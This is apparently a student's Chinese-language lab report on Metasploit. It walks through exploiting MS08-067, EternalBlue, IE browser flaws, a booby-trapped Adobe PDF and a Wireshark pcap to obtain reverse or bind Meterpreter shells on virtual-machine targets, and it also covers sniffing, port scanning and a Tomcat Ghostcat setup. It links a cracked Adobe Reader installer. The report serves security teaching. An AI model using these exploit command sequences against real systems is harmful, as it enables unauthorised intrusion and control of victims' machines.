《网络对抗技术》exp6 MSF基础应用

《网络对抗技术》exp6 MSF基础应用

实践原理

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六个模块

查看六种模块源码目录/usr/share/metasploit-framework/modules

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
  • 编码模块Encoders
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
  1. MSF的三种用户操作界面
  • msfconsole
    - 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    - 查看设置信息show [options]
    - 查看攻击目标类型show [target]
    - 查找命令search
  • armitage
    - 启动服务器service postgresql start
    - 启动armitagearmitage
  • webgui

4.MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

实践过程

实验准备

https://msdn.itellyou.cn/,这是一个有各种操作系统的镜像的网站,选择自己所需要的镜像,点击详细信息,复制链接,打开迅雷下载。安装过程尽可能参考网上教程,减少问题。
image
靶机1:Microsoft Windows XP

靶机IP:192.168.42.134

靶机2:Microsoft Windows 2000

靶机IP:192.168.42.132

靶机3:Microsoft Windows 7

靶机IP:192.168.42.135

主机:Kali

主机IP:192.168.42.129

1. 一个主动攻击实践,尽量使用最新的类似漏洞

  • ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。

  • ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无

(1)攻击方式:ms08_067

靶机2:Microsoft Windows 2000

  • 靶机输入ipconfig,获取IP地址192.168.42.132
    image

  • 在kali中测试靶机与攻击机之间能否ping通ping 192.168.42.132,kali中不会自动停止,会一直传数据包,直接Ctrl+C手动停止。
    image

  • kali试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.42.132
    image

  • msfconsole打开控制台(提前就进入root模式,以防权限问题)

  • search ms08-067查看漏洞位置
    image

  • use exploit/windows/smb/ms08_067_netapi选择该漏洞

  • set payload generic/shell_reverse_tcp设置攻击的载荷

  • set RHOST 192.168.42.134 设置靶机IP

  • set LHOST 192.168.42.129设置攻击机IP

  • exploit进行攻击

  • 攻击成功,获得靶机权限之后输入ipconfig测试一下
    image

(2)攻击方式:ms17_010

靶机:Microsoft Windows 7 x64 (注意一定要64位的)

  • 靶机输入ipconfig,获取IP地址192.168.42.135
    image
  • 关闭虚拟机的防火墙
    image
  • msfconsole
  • use auxiliary/scanner/smb/smb_ms17_010选择攻击漏洞
  • set RHOST 192.168.42.135设置靶机IP
  • exploit对靶机扫描,看是否存在漏洞
    image
  • use exploit/windows/smb/ms17_010_eternalblue 选择该漏洞
  • set payload windows/x64/meterpreter/reverse_tcp设置攻击的载荷
  • set RHOSTS 192.168.42.135设置靶机IP
  • set LHOSTS 192.168.42.129设置攻击机IP
  • exploit 进行攻击
  • 攻击成功,获得靶机权限之后输入ipconfig测试一下
    image
    image

2.一个针对浏览器的攻击,尽量使用最新的类似漏洞

  • ms14_064Windows Server 2008(用于基于 x64的系统)和 Windows Server 2008(用于基于 x64的系统)Service Pack 2 [Internet Explorer 7]( 远程执行漏洞代码)

  • ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。

(1)攻击方式:ms14_064

靶机:Microsoft WindowsXP IE浏览器

  • 打开windowsXP对浏览器设置一下安全权限。

    • 右键IE点击Internet属性
      image
    • 选择安全,点击自定义级别,启用对没有标记为安全的ActiveX控件进行初始化
      image
    • 选择安全,点击允许运行或安装软件,即使签名无效
      image
  • 回到Kali中,输入以下命令

    • msfconsole
    • use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块
    • set payload windows/meterpreter/reverse_tcp设置tcp反向连接
    • set SRVHOST kali的ip设置攻方
    • set AllowPowerShellPrompt true因为msf中自带的漏洞利用exp调用的是 powershell。所以msf中的exp代码只对安装powershell的系统生效
    • set LHOST 192.168.42.129
    • set LPORT 1211自己的学号
    • exploit发起渗透攻击
      image
  • 去靶机浏览器中输入URL生成代码(报错不用管)
    image

  • 执行网址后,kali会有所反应,注意观察kali中返回数值,出现会话时,ctrl+c停止攻击
    image

  • 选择会话一,sessions -i 1实施攻击

  • 攻击成功,获得靶机权限之后输入ipconfig测试一下
    image

(2)攻击方式:ms17_010(针对浏览器)

靶机:Microsoft Windows7 IE浏览器

  • kali上输入以下的命令
    • search ms11-003搜索漏洞模块
    • use exploit/windows/browser/ms11_003_ie_css_import
    • set payload windows/meterpreter/reverse_tcp设置载荷
    • show options
    • set srvhost 192.168.0.112设置攻击IP
    • exploit生成攻击网址
      image
      image
  • Microsoft Windows7 IE浏览器,输入http:192.168.42.129:8080/afJnLy
    image
    image
  • 输入session,查看目前建立的会话
    image
  • 选择会话一,sessions -i 1实施攻击
  • 攻击成功,获得靶机权限之后输入ipconfig测试一下
    image
    出现的问题:session已存在,我把对应的浏览器关掉,但是仍然存在,为了快捷解决问题,我就把Kali重启了,这也是我没有截到图的原因,但是实践证明有效。

3.一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞

  • wireshark:下载版本wireshark1.4.2,一定是要这个版本,官网下架了,可能因为这个有bug,我找了个奇怪的网站下的,大家也可以自己去找找。

(1)攻击方式:Adobe

靶机:Windows XP
image

  • kali上输入以下的命令
    • msfconsole进入控制台
    • search adobe进行查找
      image
    • use windows/fileformat/adobe_cooltype_sing使用漏洞
    • info查看漏洞具体信息(重点当然是description)
      image
    • set payload windows/meterpreter/bind_tcp选择攻击载荷
    • show options查看详细信息
    • set LPORT 1211设置端口号
    • set RHOST 192.168.42.134设置靶机IP地址
    • exploit攻击
      image
  • 此时生成msf.pdf,我们进入保存目录cd /root/.msf4/local,复制到共享文件夹中,在移到windowsXP虚拟机中。注意要把Windows defender关掉,否则文档复制不出来。
    image
    image
  • 下一个Adobe reader打开这个pdf文件。Adobe reader(不能去官网下载,在虚拟机安装不了):下载链接:http://dt11.oss-cn-beijing.aliyuncs.com/download/adobe reader 9.3中文破解版_274505276.exe(放到迅雷下载,在虚拟机中安装)
    错误示范:image
  • 回到Kali中,输入以下命令
    • use exploit/multi/handler进入监听模块
    • set payload windows/meterpreter/bind_tcp选择攻击载荷
    • show options查看详细信息
    • set RHOST 靶机IP设置靶机IP地址
    • set LPORT 1211设置端口号
    • exploit攻击
      image
  • 打开靶机,打开pdf文件
    image
  • 回到kali,回连成功。攻击成功,获得靶机权限之后输入ipconfig测试一下
    image

(2)攻击方式:WireShark1.4.2

靶机:Windows XP

  • kali中输入以下命令

    • use exploit/windows/fileformat/wireshark_packet_dect
    • set payload windows/meterpreter/reverse_tcp设置tcp反向连接
    • show options查看设置项
    • set LHOST 192.168.42.129kali IP
    • set LPORT 1211设置攻击端口
    • set FILENAME srj.pcap 设置生成的pcap文件名
    • exploit发起攻击
      image
  • 把生成的srj.pcap拷贝到靶机中
    image

  • 然后再回到kali输入以下代码

    • use exploit/multi/handler进入监听模块
    • set payload windows/meterpreter/reverse_tcp设置tcp反向连接
    • set LHOST 192.168.42.129kali IP
    • set LPORT 1211设置攻击端口
    • exploit监听
      image
  • 在靶机中用wireshark打开srj这个文件
    image

  • 回到kali,回连成功。攻击成功,获得靶机权限之后输入ipconfig测试一下
    image

4.成功应用任何一个辅助模块

(1)攻击方式:sniffer(嗅探)

靶机:Windows XP

可以使用这个功能来看靶机的浏览记录

  • kali中输入以下命令
    • search sniff看一下嗅探的攻击
    • use auxiliary/sniffer/psnuffle选择攻击操作
    • show options
    • exploit
      image
  • 在Windows XP中访问浏览器
    image
  • 可以看见在kali中捕捉到的网址
    image

(2)攻击方式:portscan(端口扫描)

靶机:Windows 2000(Windows XP无法创建会话)
image

  • kali中输入以下命令
    • search portscan //看看可以扫什么端口
    • use auxiliary/scanner/portscan/tcp // 选择tcp脚本
    • set Rhosts 192.168.42.132 //设置靶机IP
    • set threads 20
    • show options //看一下配置文件
    • run
      image
      错误示范:image
  • Windows 2000会谈一个错误的框,先别叉掉,叉掉会话就结束了,Windows 2000就会拒绝访问。
    image
  • 攻击成功,获得靶机权限之后输入ipconfig测试一下,但是此时会提示Unknown command
    image

CVE-2020-1938漏洞复现

  • 漏洞简介:2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。攻击者利用该漏洞,可在未授权的情况下远程读取特定目录下的任意文件。由于Tomcat AJP协议存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
  • Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取有漏洞的Tomcat服务器上Web目录文件。
  • 影响范围:
    Apache Tomcat = 6
    7 <= Apache Tomcat < 7.0.100
    8 <= Apache Tomcat < 8.5.51
    9 <= Apache Tomcat < 9.0.31
  • tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。
  • 因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
    javax.servlet.include.request_uri
    javax.servlet.include.path_info
    javax.servlet.include.servlet_path
    封装成对应的request
  • CNVD对该漏洞的综合评级为“高危”。
  • 环境搭建:使用docker拉取

docker search Tomcat-8.5.32

docker pull duonghuuphuc/tomcat-8.5.32

  • 查看拉取的Tomcat镜像

docker images
image

  • 启动镜像

docker run -d -p 8080:8080 -p 8009:8009 --name hostcat duonghuuphuc/tomcat-8.5.32

  • 查看端口情况
    docker port hostcat
    nmap 192.168.42.129
    image
  • 浏览器端可访问到Tomcat页面192.168.42.129:8080,说明环境搭建成功。
    image
  • 漏洞验证:进入容器写入一个验证文件进行读取。
docker exec -it hostcat /bin/bash
cd webapps/ROOT?
echo 'this is a test' > test

image

基础问题回答

用自己的话解释什么是exploit,payload,encode.

  • exploit:渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击,将我们所需要的payload传送给靶机。
  • payload:载荷,相当于一段代码shellcode。我们想要实现什么样的效果(攻击),就是通过传送payload实现的。
  • encode:一个编码器,如果直接攻击,容易被靶机安全软件所察觉,而encode将打乱了特征码,从而迷惑靶机。

离实战还缺些什么技术或步骤?

  • 我们目前所攻击的对象,利用的漏洞,都是特定的Windows版本,并且,漏洞比较古老,随着补丁的更新,很容易就无法实现,例如我们需要将Windows 7的防火墙关掉等等一系列的设置,方便我们的攻击能够实现。
  • 我们需要掌握漏洞的正确使用方式,比如特定的端口,这种情况是需要我们不断的试探,很有可能就会被发现,并且阻止。
  • 这些渗透攻击的方法大部分都是网上已有的教程,网络信息广为流传,对已有攻击教程的依赖程度还比较高,没有掌握核心技术,没有自己的设计和目标。

实践总结与体会

在本次实验中,我在攻击Windows7时遇到了无法创建会话的问题,三次尝试中,我发现了一次漏洞,由于无法解决,我只能重启虚拟机,最后运气很好成功了一次,说明这种攻击存在几率问题,我们的攻击技术掌握程度不高。很多时间都花费在寻找靶机,攻击漏洞对操作系统和软件版本都有细致的要求,必须要在特定环境和特定触发条件下才能成功。

在复制文件到靶机的过程中也出现了问题。因为此前电脑中病毒导致系统只能重装,我不敢轻易关掉Windows defender,但是不关闭,我就无法把文件复制到主机中来,也显示了Windows10版本相比之前更加安全。

posted @ 2021-04-26 08:23  regina1st  阅读(322)  评论(0编辑  收藏  举报